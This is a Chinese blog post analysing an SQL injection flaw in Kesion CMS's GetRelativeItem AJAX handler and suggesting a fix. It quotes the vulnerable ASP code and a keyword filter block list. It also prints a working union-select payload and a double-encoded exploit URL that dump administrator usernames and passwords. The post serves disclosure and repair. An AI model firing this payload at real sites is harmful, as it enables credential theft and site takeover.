Kesion cms sql注入漏洞修复及其分析
发布:smiling 来源: PHP粉丝网 添加日期:2015-03-24 14:17:16 浏览: 评论:0
文章介绍了desion cms容易被sql注入的修复方法,方法为UnEscape()函数调用位置放在函数体内,或者不调用.
先我们来看代码:
- Dim KS:Set KS=New PublicCls
- Dim Action
- Action=KS.S("Action")
- Select Case Action
- Case "Ctoe" CtoE
- Case "GetTags" GetTags
- Case "GetRelativeItem" GetRelativeItem //问题函数
- ...skip...
- Case "getonlinelist" getonlinelist
- End Select
- Sub GetRelativeItem() //漏洞函数开始
- Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
- Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
- Dim RKey:Rkey=lcase(KS.G("Rkey"))
- Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
- Dim ID:ID=KS.ChkClng(KS.G("ID"))
- Dim Param,RS,SQL,k,SqlStr
- If Key<>"" Then
- If (Rtitle="true" Or RKey="true") Then
- If Rtitle="true" Then
- param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
- end if
- If Rkey="true" Then
- If Param="" Then
- Param=Param & " keywords like '%" & key & "%'"
- Else
- Param=Param & " or keywords like '%" & key & "%'"
- End If
- End If
- Else
- Param=Param & " keywords like '%" & key & "%'"
- End If
- End If
- If Param<>"" Then
- Param=" where InfoID<>" & id & " and (" & param & ")"
- else
- Param=" where InfoID<>" & id
- end if
- If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID//开源软件:phpfensi.com
- Param=Param & " and verific=1"
- SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
- Set RS=Server.CreateObject("ADODB.RECORDSET")
- RS.Open SqlStr,conn,1,1
- If Not RS.Eof Then
- SQL=RS.GetRows(-1)
- End If
- RS.Close
如果配合Unescape()函数,刚过滤不会生效,可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符,例如,单引号可以编码为,%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了.
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
转换如下:
- /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
先进行了过滤,然后才调用UnEscape解码,代码如下:
- Public Function S(Str)
- S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
- Function DelSql(Str)
- Dim SplitSqlStr,SplitSqlArr,I
- SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
- SplitSqlArr = Split(SplitSqlStr,"|")
- For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
- If Instr(LCase(Str),SplitSqlArr(I))>0 Then
- Die "<script>alert('系统警告!nn1、您提交的数据有恶意字符" & SplitSqlArr(I) &";n2、您的数据已经被记录;n3、您的IP:"&GetIP&";n4、操作日期:"&Now&";n Powered By Kesion.Com!');window.close();</script>"
- End if
- Next
- DelSql = Str
- End Function
这样我们还是开头的那句话使用unescape()函数或者不使用本函数.
Tags: Kesion漏洞 sql注入漏洞
推荐文章
热门文章
最新评论文章
- 写给考虑创业的年轻程序员(10)
- PHP新手上路(一)(7)
- 惹恼程序员的十件事(5)
- PHP邮件发送例子,已测试成功(5)
- 致初学者:PHP比ASP优秀的七个理由(4)
- PHP会被淘汰吗?(4)
- PHP新手上路(四)(4)
- 如何去学习PHP?(2)
- 简单入门级php分页代码(2)
- php中邮箱email 电话等格式的验证(2)